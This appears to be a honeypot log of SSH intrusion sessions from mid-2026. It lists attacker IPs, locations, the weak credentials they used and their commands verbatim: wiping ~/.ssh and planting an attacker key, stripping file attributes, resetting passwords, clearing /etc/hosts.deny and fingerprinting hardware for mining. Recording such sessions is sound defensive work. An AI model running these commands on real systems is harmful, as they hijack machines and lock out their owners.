$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ savage_wok_root_3 (14.103.115.3) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-03 13:07 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ weary_carpath_root (185.100.84.174) โ€” Bucharest, Romania ยท 1 session ยท 1 cmd
2026-07-03 12:21 EDT ยท as postgres/postgres
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ nocturnal_toucan_root (187.62.87.27) โ€” Mairiporรฃ, Brazil ยท 1 session ยท 20 cmds
2026-07-03 11:15 EDT ยท as admin/admin
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "admin\nE81N9WpQioro\nE81N9WpQioro"|passwd|bash
$ Enter new UNIX password:
$ echo "admin\nE81N9WpQioro\nE81N9WpQioro\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ cryptic_stein_root (91.107.156.27) โ€” Frankfurt Am Main, Germany ยท 1 session ยท 2 cmds
2026-07-03 10:38 EDT ยท as oracle/!QAZ2wsx
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ venomous_acai_root_20 (201.222.20.20) โ€” Salvador, Brazil ยท 2 sessions ยท 21 cmds
2026-07-03 09:21 EDT ยท as oracle/123qwe!@#, root/qwerty
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:bOwLCWDkIXB4"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ grumpy_sensei_root (45.43.60.220) โ€” Tokyo, Japan ยท 2 sessions ยท 21 cmds
2026-07-03 09:21 EDT ยท as oracle/123qwe!@#, root/qwerty
root/qwerty login โ†’ chattr -ia .ssh to disable immutable flag โ†’ rm -rf .ssh to clear existing keys โ†’ mkdir .ssh to recreate directory โ†’ inject new SSH-RSA public key via echo โ†’ chpasswd to set root:KkFvCzGixeV9 โ†’ pkill -9 to terminate existing secure.sh and auth.sh processes โ†’ clear /etc/hosts
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:KkFvCzGixeV9"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ midnight_star_root (185.150.190.165) โ€” Piscataway, United States ยท 1 session ยท 20 cmds
2026-07-03 09:19 EDT ยท as docker/docker123
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "docker123\n15o9wqJxmMto..."|passwd|bash โ†’ Enter new UNIX password: โ†’ echo
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "docker123\n15o9wqJxmMto\n15o9wqJxmMto"|passwd|bash
$ Enter new UNIX password:
$ echo "docker123\n15o9wqJxmMto\n15o9wqJxmMto\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ listless_husk_root (102.23.122.235) โ€” Lusaka, Zambia ยท 1 session ยท 20 cmds
2026-07-03 06:27 EDT ยท as ubuntu/ubuntu
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "ubuntu\nATR6fyrS0b0v\nATR6fyrS0b0v"|passwd|bash
$ Enter new UNIX password:
$ echo "ubuntu\nATR6fyrS0b0v\nATR6fyrS0b0v\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ molten_junk_root (47.82.102.235) โ€” Hong Kong, Hong Kong ยท 4 sessions ยท 4 cmds
2026-07-03 04:55 EDT ยท as deploy/deploy123, root/root, test/test
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—4
๐ŸŽญ obsidian_baguette_root (158.220.111.161) โ€” Lauterbourg, France ยท 2 sessions ยท 4 cmds
2026-07-03 00:33 EDT ยท as root/123456, root/password
hostname discovery โ†’ free
$ hostname ร—2
โ†ณ hostname discovery
$ free -m | awk '/^Mem:/ {print $2}' ร—2
๐ŸŽญ grumpy_mekong_root (103.189.208.13) โ€” Sฦกn Trร , Vietnam ยท 1 session ยท 2 cmds
2026-07-02 23:49 EDT ยท as oracle/1qa2ws3ed
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rogue_panda_root_222 (124.174.36.222) โ€” Haidian, China ยท 1 session ยท 1 cmd
2026-07-02 22:47 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ nocturnal_wok_root_189 (101.96.202.189) โ€” Haidian, China ยท 1 session ยท 1 cmd
2026-07-02 20:03 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ sneaky_durian_root (51.79.143.228) โ€” Singapore, Singapore ยท 32 sessions ยท 32 cmds
2026-07-02 15:29 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ cryptic_orchid_root_35 (139.99.74.35) โ€” Singapore, Singapore ยท 1 session ยท 1 cmd
2026-07-02 17:08 EDT ยท as root/root
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a && echo "====" && cat /etc/os-release
๐ŸŽญ savage_dutch_root (91.92.40.11) โ€” Amsterdam, The Netherlands ยท 11 sessions ยท 64 cmds
2026-06-25 20:41 EDT ยท as root/1234, root/123456, root/12345678
PATH normalization โ†’ OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS release detection via /etc/os-release โ†’ uptime validation โ†’ hardware profiling for cryptomining suitability
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—4
$ uname -s -v -n -m 2 > /dev/null ร—11
$ /bin/uname -s -v -n -m 2 > /dev/null ร—4
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—4
$ busybox uname -s -v -n -m 2 > /dev/null ร—4
$ ( [ -f /proc/version ] ร—4
$ [ -f /proc/version ] ร—4
$ head -1 /proc/version | cut -d -f1 ร—4
$ [ -f /etc/os-release ] ร—4
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—7
$ uname -m 2 > /dev/null ร—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ร—7
๐ŸŽญ placid_clog_root_4 (91.92.40.4) โ€” Amsterdam, The Netherlands ยท 22 sessions ยท 28 cmds
2026-06-25 19:57 EDT ยท as admin/123456, admin/admin, admin/admin123
echo โ†’ export โ†’ uname โ†’ cat (repeated export 24x)
$ echo $HOME ร—20
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—2
$ uname -s -v -n -m 2 > /dev/null ร—2
$ uname -m 2 > /dev/null ร—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ร—2
๐ŸŽญ gnarled_husk_crypto (217.170.194.91) โ€” Oslo, Norway ยท 4 sessions ยท 4 cmds
2026-07-02 11:22 EDT ยท as bitcoin/bitcoin, eth/eth
echo
$ echo "test" ร—4
๐ŸŽญ molten_abba_root (45.198.224.46) โ€” Stockholm, Sweden ยท 31 sessions ยท 31 cmds
2026-06-24 10:35 EDT ยท as admin/admin123, admin/password, oracle/1111111111
echo
$ echo OK ร—31
๐ŸŽญ sneaky_dimsum_root (152.32.254.222) โ€” Hong Kong, Hong Kong ยท 13 sessions ยท 13 cmds
2026-07-02 06:03 EDT ยท as admin/admin, admin/admin123, admin/password
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—13
๐ŸŽญ zealous_seoul_root (47.80.20.223) โ€” Seoul, South Korea ยท 32 sessions ยท 32 cmds
2026-07-02 05:48 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ rusty_lantern_root (180.184.176.148) โ€” Haidian, China ยท 2 sessions ยท 2 cmds
2026-07-02 06:31 EDT ยท as guest/guest, root/1234
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—2
๐ŸŽญ silent_moose_root (67.71.55.209) โ€” North York, Canada ยท 1 session ยท 2 cmds
2026-07-02 06:20 EDT ยท as oracle/oracle@2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ molten_bamboo_root (27.71.230.31) โ€” Hanoi, Vietnam ยท 4 sessions ยท 4 cmds
2026-06-25 22:52 EDT ยท as root/P@ssw0rd1!, root/pass123, root/password
ssh โ†’ OS/kernel identification โ†’ hostname discovery โ†’ uptime check
$ ssh -V
$ uname -a
โ†ณ OS/kernel identification
$ hostname
โ†ณ hostname discovery
$ uptime
โ†ณ uptime check
๐ŸŽญ glitchy_kopi_root_8 (118.194.234.8) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-07-02 06:16 EDT ยท as oracle/oracle@2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sneaky_neon_root_86 (45.249.247.86) โ€” Hong Kong, Hong Kong ยท 1 session ยท 2 cmds
2026-07-02 06:13 EDT ยท as oracle/oracle@2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ spectral_dimsum_root (103.43.191.43) โ€” Kwai Chung, Hong Kong ยท 1 session ยท 2 cmds
2026-07-02 06:06 EDT ยท as oracle/oracle@2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sullen_nomad_root (201.184.50.251) โ€” Bogotรก, Colombia ยท 1 session ยท 2 cmds
2026-07-02 04:04 EDT ยท as oracle/oracle123#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
